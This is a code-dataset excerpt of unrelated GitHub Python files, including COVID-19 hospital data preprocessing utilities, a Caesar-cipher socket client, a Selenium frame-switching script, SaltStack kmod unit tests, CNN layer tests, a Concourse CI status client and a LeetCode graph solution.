IN_BETABLOCKERS, IN_BETAGONISTINHALED,\n IN_GLUCORTICOIDSINHALED, IN_DVITAMINSUPLEMENT, IN_BENZODIACEPINES, IN_ANTIDEPRESSANT]\n\nIN_TREATMENTS_LONG = [IN_PREVIOUSASPIRIN, IN_OTHERANTIPLATELET, IN_ORALANTICOAGL]\n\nVITALS_TREAT = ['Respiratory Frequency', 'Body Temperature', 'Systolic Blood Pressure']\nLABS_TREAT = ['ABG: Oxygen Saturation (SaO2)', 'Azoto ematico UAR: D-DIMERO', 'PROCALCITONINA: PROCALCITONINA',\n 'C-Reactive Protein (CRP)', 'Alanine Aminotransferase (ALT)', 'LATTICODEIDROGENASI: (LDH) LATTICODEIDROGENASI',\n 'Blood Creatinine', 'Blood Sodium', 'CBC: Leukocytes', 'Emocromo + formula: LINFOCITI (N)', 'CBC: Hemoglobin', 'CBC: Platelets']\n\nVITALS_TREAT_RENAME = {'Respiratory Frequency': 'FAST_BREATHING', \n 'Body Temperature': 'MAXTEMPERATURE_ADMISSION', \n 'Systolic Blood Pressure': 'BLOOD_PRESSURE_ABNORMAL_B'}\n\nLABS_TREAT_RENAME = {'ABG: Oxygen Saturation (SaO2)': 'SAT02_BELOW92', \n 'Azoto ematico UAR: D-DIMERO': 'DDDIMER_B', \n 'PROCALCITONINA: PROCALCITONINA': 'PROCALCITONIN_B',\n 'C-Reactive Protein (CRP)': 'PCR_B', \n 'Alanine Aminotransferase (ALT)': 'TRANSAMINASES_B', \n 'LATTICODEIDROGENASI: (LDH) LATTICODEIDROGENASI': 'LDL_B',\n 'Blood Creatinine': 'CREATININE', \n 'Blood Sodium': 'SODIUM', \n 'CBC: Leukocytes': 'LEUCOCYTES', \n 'Emocromo + formula: LINFOCITI (N)': 'LYMPHOCYTES', \n 'CBC: Hemoglobin': 'HEMOGLOBIN', \n 'CBC: Platelets': 'PLATELETS'}\n\n# TREATMENTS\nTREATMENTS_NAME = ['CORTICOSTEROIDS', 'INTERFERONOR', 'TOCILIZUMAB', 'ANTIBIOTICS', 'ACEI_ARBS', 'CLOROQUINE', 'ANTIVIRAL', 'ANTICOAGULANTS']\nCORTICOSTEROIDS = 'H02'\nINTERFERONOR = 'L03'\nTOCILIZUMAB = 'L04AC07'\nANTIBIOTICS = 'J01'\nACEI_ARBS = 'C09'\nCLOROQUINE = 'P01BA02'\nANTIVIRAL = 'J05AR'\nANTICOAGULANTS = 'B01AB'\n\nTREATMENTS = [CORTICOSTEROIDS, INTERFERONOR, TOCILIZUMAB, ANTIBIOTICS, ACEI_ARBS, CLOROQUINE, ANTIVIRAL, ANTICOAGULANTS]\n\n# HCUP for COMORB_DEATH columns. SEPSIS = 2; Acute Renal Failure: 145; Heart Failure: 97; Embolic Event: 105\nCOMORB_DEATH = [2, 145, 97, 105]\nSEPSIS = [2]\nARF = [145]\nHF = [97]\nEMBOLIC = [105]\n\n# Respiratory procedures 9390 = Continuous Respiratory Pressure, 9396 = other oxygen treatment, 9671 = less than 96 hours of ventilation, 9672 = more than 96 hours of ventilation\nPROCEDURE_COLUMNS = ['Proc0', 'Proc1', 'Proc2', 'Proc3', 'Proc4', 'Proc5']\nLIST_PROCEDURES = ['9671', '9672']\n\ndef clean_lab_features(lab_feat):\n features = [x for x in lab_feat\n if all(s not in x for s in LAB_FEATURES_NOT_CONTAIN) and\n all(s != x for s in LAB_FEATURES_NOT_MATCH)]\n return features\n\n\ndef export_comorbidities(df, file_name):\n # Convert (to export for R processing)\n # TODO: Improve this code\n comorb_df = pd.DataFrame(columns=['id', 'comorb'])\n for i in range(len(df)):\n d_temp = df.iloc[i]\n df_temp = pd.DataFrame({'id': [d_temp['NumeroScheda']] * 6,\n 'comorb': [d_temp['Principale']] + \\\n [d_temp[d] for d in DIAGNOSIS_COLUMNS]})\n comorb_df = comorb_df.append(df_temp)\n\n comorb_df = comorb_df.dropna().reset_index()\n comorb_df.to_csv(file_name)\n\n\ndef comorbidities_long(df):\n # Convert (to export for R processing)\n # TODO: Improve this code\n comorb_df = pd.DataFrame(columns=['id', 'comorb'])\n for i in range(len(df)):\n d_temp = df.iloc[i]\n df_temp = pd.DataFrame({'id': [d_temp['NumeroScheda']] * 6,\n 'comorb': [d_temp['Principale']] + \\\n [d_temp[d] for d in DIAGNOSIS_COLUMNS]})\n comorb_df = comorb_df.append(df_temp)\n\n comorb_df = comorb_df.dropna().reset_index()\n return comorb_df\n\n\ndef get_lab_dates(t):\n # TODO: Find better way to do so. Nested try-except is not nice.\n try:\n date = datetime.datetime.strptime(t, '%d/%m/%Y %H:%M')\n except ValueError:\n try:\n date = datetime.datetime.strptime(t, '%d/%m/%Y')\n except ValueError:\n try:\n date = datetime.datetime.strptime(t, '%d/%m/%y %H:%M')\n except ValueError:\n date = datetime.datetime.strptime(t, '%d/%m/%y')\n\n return date\n\ndef get_age(t):\n\n try:\n today = pd.Timestamp(year=2020, month=4, day=1)\n age = np.round((today - t).days/365)\n return age\n except:\n return np.NaN\n\n\ndef cleanup_demographics(demographics):\n\n demographics = demographics[['N_SCHEDA_PS', 'PZ_SESSO_PS', \"PZ_DATA_NASCITA_PS\"]]\n try:\n demographics['PZ_DATA_NASCITA_PS'] = \\\n pd.to_datetime(demographics['PZ_DATA_NASCITA_PS'], format='%Y-%m-%d %H:%M:%S')\n except ValueError:\n demographics.loc[:, 'PZ_DATA_NASCITA_PS'] = \\\n pd.to_datetime(demographics['PZ_DATA_NASCITA_PS'], format='%m/%d/%Y')\n\n demographics.loc[:, 'Age'] = demographics['PZ_DATA_NASCITA_PS'].apply(get_age)\n demographics = demographics.drop('PZ_DATA_NASCITA_PS', axis = 1)\n demographics = demographics.rename(columns = {'N_SCHEDA_PS' : 'NOSOLOGICO', 'PZ_SESSO_PS' : 'Gender'})\n demographics['Gender'] = (demographics['Gender'] == 'F').astype(int)\n demographics['NOSOLOGICO'] = demographics['NOSOLOGICO'].astype(str)\n\n return demographics\n\n\ndef create_vitals_dataset(vitals, patients, lab_tests=True):\n vital_signs = VITAL_SIGNS.copy()\n if lab_tests:\n vital_signs.remove('SaO2') # Remove oxygen saturation if we have lab values (it is there)\n\n # Cleanup commas in numbers\n vitals.loc[:, 'VALORE_PARAMETRO'] = \\\n vitals.loc[:, 'VALORE_PARAMETRO'].apply(lambda x: x.replace(\",\", \".\"))\n\n dataset_vitals = pd.DataFrame(np.nan, columns=vital_signs, index=patients)\n for p in patients:\n vitals_p = vitals[vitals['NOSOLOGICO'] == p][['NOME_PARAMETRO_VITALE', 'VALORE_PARAMETRO']]\n for vital_name in vital_signs:\n # Take mean if multiple values\n vital_value = vitals_p[vitals_p['NOME_PARAMETRO_VITALE'] == vital_name]['VALORE_PARAMETRO']\n vital_value = pd.to_numeric(vital_value).mean()\n dataset_vitals.loc[p, vital_name] = vital_value\n\n #dataset_vitals['Temp.'] = fahrenheit_covert(dataset_vitals['Temp.'])\n\n # Adjust missing columns\n dataset_vitals = remove_missing(dataset_vitals, nan_threshold=100)\n\n # Rename to English\n dataset_vitals = dataset_vitals.rename(columns=RENAMED_VITALS_COLUMNS)\n\n return dataset_vitals\n\n\n\ndef create_lab_dataset(lab, patients):\n # Remove missing test (groups) with more than 40% nonzeros\n lab_tests = lab['COD_INTERNO_PRESTAZIONE'].unique().tolist()\n dataset_lab_tests = pd.DataFrame(False, columns=lab_tests, index=patients)\n\n #Unstack the dataset and transform the entries in True/False\n dataset_lab_tests = lab[['NOSOLOGICO', 'COD_INTERNO_PRESTAZIONE', 'VALORE_TESTO']].groupby(['NOSOLOGICO', 'COD_INTERNO_PRESTAZIONE']).count().unstack().notna()\n dataset_lab_tests.columns = [i[1] for i in dataset_lab_tests.columns] # because of groupby, the columns are a tuple\n\n # 30% removes tests that are not present and the COVID-19 lab test\n lab_tests_reduced = remove_missing(dataset_lab_tests, missing_type=False, nan_threshold=100, impute=False)\n\n # Filter data entries per test\n lab_reduced = lab[lab['COD_INTERNO_PRESTAZIONE'].isin(lab_tests_reduced.columns)]\n\n # Create lab features for each exam\n dataset_lab = {}\n for lab_test in lab_tests_reduced.columns:\n # Create dataset\n lab_test_temp = lab_reduced.loc[lab_reduced['COD_INTERNO_PRESTAZIONE'] == lab_test]\n lab_test_features = lab_test_temp['PRESTAZIONE'].unique().tolist()\n\n # Remove unnecessary features\n lab_test_features = clean_lab_features(lab_test_features)\n\n # Add name of lab_test\n test_name = lab[lab['COD_INTERNO_PRESTAZIONE'] == lab_test]['DESCR_PRESTAZIONE'].values[0]\n lab_test_features_names = [test_name.strip() + \": \" + x for x in lab_test_features]\n\n dataset_lab_test = pd.DataFrame(np.nan, columns=lab_test_features_names, index=patients)\n for p in patients:\n lab_p = lab_test_temp[lab_test_temp['NOSOLOGICO'] == p][['COD_INTERNO_PRESTAZIONE', 'DATA_RICHIESTA', 'PRESTAZIONE', 'VALORE']]\n for lab_name in lab_test_features:\n if any(lab_p['PRESTAZIONE'] == lab_name):\n lab_p_name = lab_p[lab_p['PRESTAZIONE'] == lab_name]\n idx = lab_p_name['DATA_RICHIESTA'].idxmin() # Pick first date of test if multiple\n dataset_lab_test.loc[p, test_name.strip() + \": \" + lab_name] = lab_p_name.loc[idx]['VALORE']\n dataset_lab[lab_test] = dataset_lab_test\n\n # Create full dataset\n dataset_lab_full = pd.concat([v for _,v in dataset_lab.items()],\n axis=1, sort=True).astype(np.float64)\n dataset_lab_full = remove_missing(dataset_lab_full, nan_threshold=100)\n\n\n # Rename dataset laboratory\n dataset_lab_full = dataset_lab_full.rename(columns=RENAMED_LAB_COLUMNS)\n\n return dataset_lab_full\n\ndef create_dataset_comorbidities(comorb_long, icd_category, patients):\n\n #Load the diagnoses dict\n if icd_category == 9:\n icd_dict = pd.read_csv('../../../analyzer/hcup_dictionary_icd9.csv')\n else:\n icd_dict = pd.read_csv('../../../analyzer/hcup_dictionary_icd10.csv')\n\n #The codes that are not mapped are mostly procedure codes or codes that are not of interest\n icd_descr = pd.merge(comorb_long, icd_dict, how='inner', left_on=['DIAGNOSIS_CODE'], right_on=['DIAGNOSIS_CODE'])\n\n #Create a list with the categories that we want\n comorb_descr = icd_descr.loc[icd_descr['HCUP_ORDER'].isin(HCUP_LIST)]\n\n #Limit only to the HCUP Description and drop the duplicates\n comorb_descr = comorb_descr[['NOSOLOGICO','GROUP_HCUP']].drop_duplicates()\n\n #Convert from long to wide format\n comorb_descr = pd.get_dummies(comorb_descr, columns=['GROUP_HCUP'], prefix=['GROUP_HCUP'])\n\n #Now we will remove the GROUP_HCUP_ from the name of each column\n comorb_descr = comorb_descr.rename(columns = lambda x: x.replace('GROUP_HCUP_', ''))\n\n #Let's combine the diabetes columns to one\n comorb_descr['Diabetes'] = comorb_descr[[\"Diabetes mellitus with complications\", \"Diabetes mellitus without complication\"]].max(axis=1)\n\n #Drop the other two columns\n comorb_descr = comorb_descr.drop(columns=['Diabetes mellitus with complications', 'Diabetes mellitus without complication'])\n\n dataset_comorbidities = pd.DataFrame(comorb_descr.groupby(['NOSOLOGICO'], as_index=False).max())\n\n df_patients = pd.DataFrame(patients, columns = ['NOSOLOGICO'])\n dataset_comorbidities = pd.merge(df_patients, dataset_comorbidities, how='left',\n left_on=['NOSOLOGICO'], right_on = ['NOSOLOGICO'])\n dataset_comorbidities = dataset_comorbidities.fillna(0)\n \n return dataset_comorbidities\n\ndef create_dataset_discharge(discharge, patients, icu=None):\n\n dataset_discharge = pd.DataFrame(columns=DEMOGRAPHICS_FEATURES, index=patients)\n dataset_discharge.loc[:, DEMOGRAPHICS_FEATURES] = discharge[['NOSOLOGICO'] + DEMOGRAPHICS_FEATURES].set_index('NOSOLOGICO')\n #dataset_discharge.loc[:, 'Gender'] = dataset_discharge.loc[:, 'Gender'].astype('category')\n #dataset_discharge.Gender = dataset_discharge.Gender.cat.codes.astype('category')\n dataset_discharge = dataset_discharge[['Outcome']]\n dataset_discharge.loc[:, 'Outcome'] = dataset_discharge.loc[:, 'Outcome'].astype('category')\n\n if icu is not None:\n dataset_discharge = dataset_discharge.join(icu.set_index('NOSOLOGICO'))\n\n\n return dataset_discharge\n\n\ndef cleanup_discharge_info(discharge_info):\n\n covid_patients = discharge_info['Principale'].isin(LIST_DIAGNOSIS)\n\n for d in DIAGNOSIS_COLUMNS:\n covid_patients = covid_patients | discharge_info[d].isin(LIST_DIAGNOSIS)\n\n discharge_info = discharge_info[covid_patients]\n\n # Keep discharge codes and transform the dependent variable to binary\n discharge_info = discharge_info[discharge_info['Modalità di dimissione'].isin(DISCHARGE_CODES)]\n discharge_info['Modalità di dimissione'] = \\\n (discharge_info['Modalità di dimissione'] == DISCHARGE_CODE_RELEASED).apply(int) #transform to binary\n\n # Drop Duplicated Observations\n discharge_info.drop_duplicates(['NumeroScheda', 'Modalità di dimissione'],\n inplace=True)\n discharge_info.drop_duplicates(['NumeroScheda'], inplace=True)\n\n #Keep only important columns and rename them\n discharge_info = discharge_info[['NumeroScheda', 'Sesso', 'Età', 'Modalità di dimissione']]\n discharge_info = discharge_info.rename(\n columns={'NumeroScheda': 'NOSOLOGICO',\n 'Sesso': 'Gender',\n 'Età':'Age',\n 'Modalità di dimissione':'Outcome'})\n discharge_info.NOSOLOGICO = discharge_info.NOSOLOGICO.apply(str)\n\n return discharge_info\n\n\ndef fahrenheit_covert(temp_celsius):\n temp_fahrenheit = ((temp_celsius * 9)/5)+ 32\n return temp_fahrenheit\n\ndef filter_patients(datasets):\n\n patients = datasets[0]['NOSOLOGICO'].astype(np.int64)\n\n # Get common patients\n for d in datasets[1:]:\n patients = d[d['NOSOLOGICO'].astype(np.int64).isin(patients)]['NOSOLOGICO'].unique()\n\n\n # Remove values not in patients (in place)\n for d in datasets:\n d.drop(d[~d['NOSOLOGICO'].astype(np.int64).isin(patients)].index, inplace=True)\n\n return patients\n\n\ndef get_swabs(lab):\n\n covid = lab[lab.COD_INTERNO_PRESTAZIONE == 'COV19']\n covid = covid[covid.VALORE_TESTO.isin(['POSITIVO', 'Negativo', 'Debolmente positivo'])]\n covid.VALORE_TESTO = covid.VALORE_TESTO.isin(['POSITIVO','Debolmente positivo']).astype(int).astype('category')\n covid = covid[~ covid.NOSOLOGICO.duplicated()] # drop duplicated values\n swab = covid[['NOSOLOGICO', 'VALORE_TESTO']]\n swab = swab.rename(columns = {'VALORE_TESTO': 'Swab'})\n swab['Swab'] = swab['Swab'].astype('int')\n\n return swab\n\ndef get_regimen(cloroquine, antiviral, anticoagulant):\n if cloroquine == 0:\n return 'Non-Chloroquine'\n\n elif cloroquine == 1 and antiviral == 1 and anticoagulant == 1:\n return 'All'\n \n elif cloroquine == 1 and antiviral == 1 and anticoagulant == 0:\n return 'Chloroquine and Antivirals'\n\n elif cloroquine == 1 and antiviral == 0 and anticoagulant == 1:\n return 'Chloroquine and Anticoagulants'\n\n elif cloroquine == 1 and antiviral == 0 and anticoagulant == 0:\n return 'Chloroquine Only'\n \ndef check_treatment(l, obs):\n c = 0 \n for i in l:\n if i in obs:\n c += 1\n return c > 0 ","repo_name":"COVIDAnalytics/covid19_hypertensive_treatments","sub_path":"calculator/analyzer/loaders/cremona/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":26792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23772852769","text":"\"\"\"\n На стороне клиента:\n 1) Принять сообщение от пользователя\n 2) Зашифровать его\n 3) Составить список [шифровка, ключ]\n 4) Отправить серверу\n 5) Принять от сервера расшифрованое сообещиние\n\"\"\"\n\nimport sys\nimport pickle\nimport socket\nserverHost = 'localhost'\nserverPort = 9010\n\nmessage = 'hello network world'\nkey = 3\nx = pickle.dumps([message, key])\n\nsockobj = socket.socket()\nsockobj.connect((serverHost, serverPort))\nsockobj.send(x)\ndata = sockobj.recv(1024)\nprint('Client receivied: ', pickle.loads(data))\n\nsockobj.close\ny = pickle.loads(data)\nprint(y)","repo_name":"LeoLevin91/Labs-OC","sub_path":"Lab_2/Cript_Csezar py/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12388963833","text":"from selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nimport time\n\nbrowser= webdriver.Chrome(executable_path=r'E:\\software\\browser\\chromedriver_win32\\chromedriver.exe')\n\n# 发起请求\nbrowser.get('http://www.runoob.com/try/try.php?filename=jqueryui-api-droppable')\ntime.sleep(2)\n\n# 切换框架\nbrowser.switch_to.frame('iframeResult')\n\n# 查找框架中的元素\n# res = browser.find_element_by_class_name('ui-droppable')\n\n# 查找框架中不存在的元素\ntry:\n res = browser.find_element_by_class_name('logo')\n print(res)\nexcept NoSuchElementException as e:\n print(e)\n # 切换到父级框架\n browser.switch_to.parent_frame()\n res = browser.find_element_by_class_name('logo')\n print(res)\n\n","repo_name":"theme716/small-routine","sub_path":"insect/9.nine_day/10.selenium_框架切换.py","file_name":"10.selenium_框架切换.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12853594074","text":"import os\n\nimport pytest\n\nimport salt.modules.kmod as kmod\nfrom salt.exceptions import CommandExecutionError\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {kmod: {}}\n\n\ndef test_available():\n \"\"\"\n Tests return a list of all available kernel modules\n \"\"\"\n with patch(\"salt.modules.kmod.available\", MagicMock(return_value=[\"kvm\"])):\n assert [\"kvm\"] == kmod.available()\n\n\ndef test_check_available():\n \"\"\"\n Tests if the specified kernel module is available\n \"\"\"\n with patch(\"salt.modules.kmod.available\", MagicMock(return_value=[\"kvm\"])):\n assert kmod.check_available(\"kvm\") is True\n\n\ndef test_lsmod():\n \"\"\"\n Tests return information about currently loaded modules\n \"\"\"\n ret_str = \"\"\"Module Size Used by\n kvm_intel 233472 0\n \"\"\"\n expected = [{\"size\": \"233472\", \"module\": \"kvm_intel\", \"depcount\": \"0\", \"deps\": []}]\n mock_cmd = MagicMock(return_value=ret_str)\n with patch(\n \"salt.utils.path.which\", MagicMock(side_effect=[None, \"/sbin/lsmod\"])\n ), patch.dict(kmod.__salt__, {\"cmd.run\": mock_cmd}):\n with pytest.raises(CommandExecutionError):\n kmod.lsmod()\n assert expected == kmod.lsmod()\n\n\n@pytest.mark.skipif(\n not os.path.isfile(\"/etc/modules\"), reason=\"/etc/modules not present\"\n)\ndef test_mod_list():\n \"\"\"\n Tests return a list of the loaded module names\n \"\"\"\n with patch(\n \"salt.modules.kmod._get_modules_conf\",\n MagicMock(return_value=\"/etc/modules\"),\n ):\n with patch(\n \"salt.modules.kmod._strip_module_name\", MagicMock(return_value=\"lp\")\n ):\n assert [\"lp\"] == kmod.mod_list(True)\n\n mock_ret = [{\"size\": 100, \"module\": None, \"depcount\": 10, \"deps\": None}]\n with patch(\"salt.modules.kmod.lsmod\", MagicMock(return_value=mock_ret)):\n assert [None] == kmod.mod_list(False)\n\n\ndef test_load():\n \"\"\"\n Tests to loads specified kernel module.\n \"\"\"\n mod = \"cheese\"\n err_msg = \"Module too moldy, refusing to load\"\n mock_persist = MagicMock(return_value={mod})\n mock_lsmod = MagicMock(\n return_value=[{\"size\": 100, \"module\": None, \"depcount\": 10, \"deps\": None}]\n )\n mock_run_all_0 = MagicMock(return_value={\"retcode\": 0})\n mock_run_all_1 = MagicMock(return_value={\"retcode\": 1, \"stderr\": err_msg})\n\n with patch(\"salt.modules.kmod._set_persistent_module\", mock_persist):\n with patch(\n \"salt.utils.path.which\",\n MagicMock(side_effect=[None, \"/sbin/modprobe\", \"/sbin/modprobe\"]),\n ), patch(\"salt.modules.kmod.lsmod\", mock_lsmod):\n with patch.dict(\n kmod.__salt__, {\"cmd.run_all\": mock_run_all_0}\n ), pytest.raises(CommandExecutionError):\n kmod.load(mod, True)\n\n with patch.dict(kmod.__salt__, {\"cmd.run_all\": mock_run_all_0}):\n assert [mod] == kmod.load(mod, True)\n\n with patch.dict(kmod.__salt__, {\"cmd.run_all\": mock_run_all_1}):\n assert \"Error loading module {}: {}\".format(mod, err_msg) == kmod.load(\n mod\n )\n\n\ndef test_is_loaded():\n \"\"\"\n Tests if specified kernel module is loaded.\n \"\"\"\n with patch(\"salt.modules.kmod.mod_list\", MagicMock(return_value={\"lp\"})):\n assert kmod.is_loaded(\"lp\") is True\n\n\ndef test_remove():\n \"\"\"\n Tests to remove the specified kernel module\n \"\"\"\n mod = \"cheese\"\n err_msg = \"Cannot find module: it has been eaten\"\n mock_persist = MagicMock(return_value={mod})\n mock_lsmod = MagicMock(\n return_value=[{\"size\": 100, \"module\": None, \"depcount\": 10, \"deps\": None}]\n )\n mock_run_all_0 = MagicMock(return_value={\"retcode\": 0})\n mock_run_all_1 = MagicMock(return_value={\"retcode\": 1, \"stderr\": err_msg})\n\n with patch(\"salt.modules.kmod._remove_persistent_module\", mock_persist):\n with patch(\n \"salt.utils.path.which\",\n MagicMock(side_effect=[None, \"/sbin/rmmod\", \"/sbin/rmmod\", \"/sbin/rmmod\"]),\n ), patch(\"salt.modules.kmod.lsmod\", mock_lsmod):\n with patch.dict(kmod.__salt__, {\"cmd.run_all\": mock_run_all_0}):\n with pytest.raises(CommandExecutionError):\n kmod.remove(mod)\n\n assert [mod] == kmod.remove(mod, True)\n\n assert [] == kmod.remove(mod)\n\n with patch.dict(kmod.__salt__, {\"cmd.run_all\": mock_run_all_1}):\n assert \"Error removing module {}: {}\".format(\n mod, err_msg\n ) == kmod.remove(mod, True)\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/modules/test_kmod.py","file_name":"test_kmod.py","file_ext":"py","file_size_in_byte":4632,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"22641842406","text":"import platform\nimport numpy as np\nimport sys\n\nsys.path.append('C:\\github_projects\\PythonPractice\\simple_CNN')\nsys.path.append('C:\\GithubProject\\PythonPractice\\simple_CNN')\n\nfrom layer import Conv2D, FC, Activations\nfrom datagen import DataGenerator\n\n\n# def change_smth(kernel):\n# kernel = np.expand_dims(kernel, 0)\n\nconv = Conv2D(3, 2, 'same', 1, 'sigmoid')\n\nif platform.system() == 'Windows':\n folder = 'C:/data/train_data'\n test_folder = 'C:/data/test_data'\nelif platform.system() == 'Linux':\n folder = '/home/shaoheng/Documents/PythonPractice/handwritedigit'\n\ndata_generator = DataGenerator(\n folder, 10, (16, 16), class_num=10)\n\ndef test_CNN_2D_with_FC():\n fc_layer = FC(10, 'sigmoid')\n conv = Conv2D(filter_size=3, channels=2, padding='same', stride=1, activation='sigmoid')\n\n x, y = data_generator.load_data()\n x = np.expand_dims(x, -1) # the data is 1-channel, add the channel to the last axis\n\n x = conv.forward_prop(x)\n x = np.reshape(x, (np.shape(x)[0], -1))\n x = fc_layer.forward_prop(x)\n\n w, delta = fc_layer.back_prop(label=y)\n w, delta = conv.back_prop(w_nextlayer=w, delta_nextlayer=delta, next_layer='FC')\n \n assert x.shape == (10, 10)\n\ndef test_put_zeros():\n matrix = np.arange(18).reshape((2, 3, 3))\n conv = Conv2D(filter_size=3, channels=2, padding='same', stride=2, activation='sigmoid')\n matrix = conv.put_zeros(matrix, 2, del_last_ele=True)\n print(matrix)\n assert matrix.shape == (2, 5, 5)\n\n\ndef test_CNN_2D_with_CNN_2D():\n fc_layer = FC(10, 'sigmoid')\n conv_1 = Conv2D(filter_size=3, channels=2, padding='same', stride=1, activation='sigmoid')\n conv_2 = Conv2D(filter_size=5, channels=4, padding='same', stride=2, activation='sigmoid')\n\n x, y = data_generator.load_data()\n x = np.expand_dims(x, -1) # the data is 1-channel, add the channel to the last axis\n\n x = conv_1.forward_prop(x)\n x = conv_2.forward_prop(x)\n\n x = np.reshape(x, (np.shape(x)[0], -1))\n x = fc_layer.forward_prop(x)\n\n w, delta = fc_layer.back_prop(label=y)\n w, delta = conv_2.back_prop(w_nextlayer=w, delta_nextlayer=delta, next_layer='FC')\n w, delta = conv_1.back_prop(w_nextlayer=w, delta_nextlayer=delta, next_layer='Conv2D')\n \n assert x.shape == (10, 10)\n\n\ndef test_relu_activation():\n matrix = np.arange(9).reshape((3, 3)) - 5\n relu = Activations().relu\n relu_deri = Activations().relu_derivative\n matrix_after_relu = relu(matrix)\n print(matrix_after_relu)\n matrix_relu_deri = relu_deri(matrix)\n print(matrix_relu_deri)\n assert matrix_after_relu.shape == (3, 3)\n \nif __name__ == '__main__':\n test_relu_activation()\n","repo_name":"hankerkuo/PythonPractice","sub_path":"simple_CNN/test_pytest.py","file_name":"test_pytest.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2096649979","text":"import json\nfrom functools import reduce\n\nimport BaseHTTPServer\nimport requests\nfrom urlparse import parse_qs\n\n\nclass Concourse:\n def __init__(self, url, token=None):\n self.__url = url\n self.__token = token\n self.__jobs = []\n\n # started > failed > succeeded\n def __new_status(self, newStatus, oldStatus=None):\n if not oldStatus:\n return newStatus\n elif oldStatus == 'started' or newStatus == 'started':\n return 'started'\n elif oldStatus == 'failed' or newStatus == 'failed':\n return 'failed'\n elif oldStatus == 'errored' or newStatus == 'errored':\n return 'failed'\n else:\n return newStatus\n\n def __get_jobs(self):\n response = requests.get(self.__url + \"/api/v1/jobs\", headers={'Authorization': self.__token})\n return json.loads(response.content)\n\n def group_ci_status_by_teams(self):\n jobs = self.__get_jobs()\n status = {}\n\n for job in jobs:\n if job['next_build'] and job['next_build']['status']:\n status[job['team_name']] = self.__new_status(job['next_build']['status'],\n status.get(job['team_name'], None))\n if job['finished_build'] and job['finished_build']['status']:\n status[job['team_name']] = self.__new_status(job['finished_build']['status'],\n status.get(job['team_name'], None))\n\n return status\n\n def status_from_team(self, teamOrTeams):\n states = self.group_ci_status_by_teams()\n\n if type(teamOrTeams) is str:\n return states[teamOrTeams]\n else:\n teamStats = [states[team] for team in states if team in teamOrTeams]\n state = reduce((lambda x, y: self.__new_status(x, y)), teamStats)\n return state\n\n def wait_for_token(self):\n global CI_TOKEN\n\n print(\"Login to concourse\")\n print\n print(self.__url + \"/sky/login?redirect_uri=http://127.0.0.1:64354/auth/callback\")\n print\n httpd = BaseHTTPServer.HTTPServer(('127.0.0.1', 64354), self.__ReadTokenHandler)\n try:\n httpd.handle_request()\n except KeyboardInterrupt:\n pass\n\n if not CI_TOKEN:\n print(\"No token from callback. Exit\")\n else:\n self.__token = CI_TOKEN\n return self.__token\n\n def set_token(self, token):\n self.__token = token\n\n class __ReadTokenHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n def do_GET(s):\n global CI_TOKEN\n\n s.send_response(200)\n s.send_header(\"Content-type\", \"text/text\")\n s.end_headers()\n\n if s.path.startswith(\"/auth/callback?\"):\n query_str = s.path[s.path.index(\"?\") + 1:]\n params = parse_qs(query_str)\n if params.get('token'):\n CI_TOKEN = params.get('token')[0]\n print(\"received token.\")\n s.wfile.write(\"Ok, received token. You can close this window now.\")\n else:\n print(\"wrong callback parameter\")\n s.wfile.write(\"Call it like '/auth/callback?token=XXX'.\")\n else:\n print(\"wrong callback parameter\")\n s.wfile.write(\"Call it like '/auth/callback?token=XXX'.\")\n","repo_name":"innogy-digital/hue-concourse","sub_path":"hueci/concourse.py","file_name":"concourse.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"44680649253","text":"from typing import *\nfrom collections import defaultdict, deque\n\n\n# Idea from 4 color theorem\nclass Solution:\n def possibleBipartition(self, n: int, dislikes: List[List[int]]) -> bool:\n planar = defaultdict(list)\n queue, label = deque(), defaultdict(int)\n\n for who, whom in dislikes:\n planar[who].append(whom)\n planar[whom].append(who)\n\n for person in range(1, n+1):\n if person not in label:\n queue.append(person)\n label[person] = 1\n\n # BFS\n while queue:\n cur = queue.popleft()\n for dislike in planar[cur]:\n if dislike not in label:\n label[dislike] = -label[cur]\n queue.append(dislike)\n # not possible to group by two label\n if dislike in label and label[dislike] != -label[cur]:\n return False\n\n return True\n\n\n# WA\n# class Solution:\n# def possibleBipartition(self, n: int, dislikes: List[List[int]]) -> bool:\n# dislike, like = collections.defaultdict(list), collections.defaultdict(list)\n# people = [l for l in range(1, n+1)]\n# person = 1\n# stack, visited = [person], []\n#\n# for who, whom in dislikes:\n# dislike[who].append(whom)\n# dislike[whom].append(who)\n#\n# for i in range(1, n + 1):\n# like[i].extend([p for p in people if p != i and p not in dislike[i]])\n#\n# # DFS\n# while stack:\n# cur = stack.pop()\n# for neighbor in like[cur]:\n# if neighbor not in visited and neighbor not in dislike[person]:\n# stack.append(neighbor)\n# visited.append(cur)\n#\n# for i, p1 in enumerate(visited[1:], start=1):\n# for p2 in visited[i+1:]:\n# if p1 in dislike[p2]:\n# return False\n#\n# others = [p for p in people if p not in visited]\n# for i, p1 in enumerate(others):\n# for p2 in others[i+1:]:\n# if p1 in dislike[p2]:\n# return False\n#\n# return True\n","repo_name":"childult-programmer/algorithm_study","sub_path":"6.graph/DAY 5/Possible_Bipartition_LSI.py","file_name":"Possible_Bipartition_LSI.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24119037009","text":"from datetime import datetime, timedelta\n\nimport pytz\n\nfrom addons.discord_bot.config import Config\nfrom addons.plex.client import client\n\n\ndef append_items():\n response = \"**QUEUE ITEMS**\"\n response += \"\\n--------------------\\n\"\n timezone = pytz.timezone(Config.APP_TIMEZONE)\n play_time = datetime.now(timezone)\n for 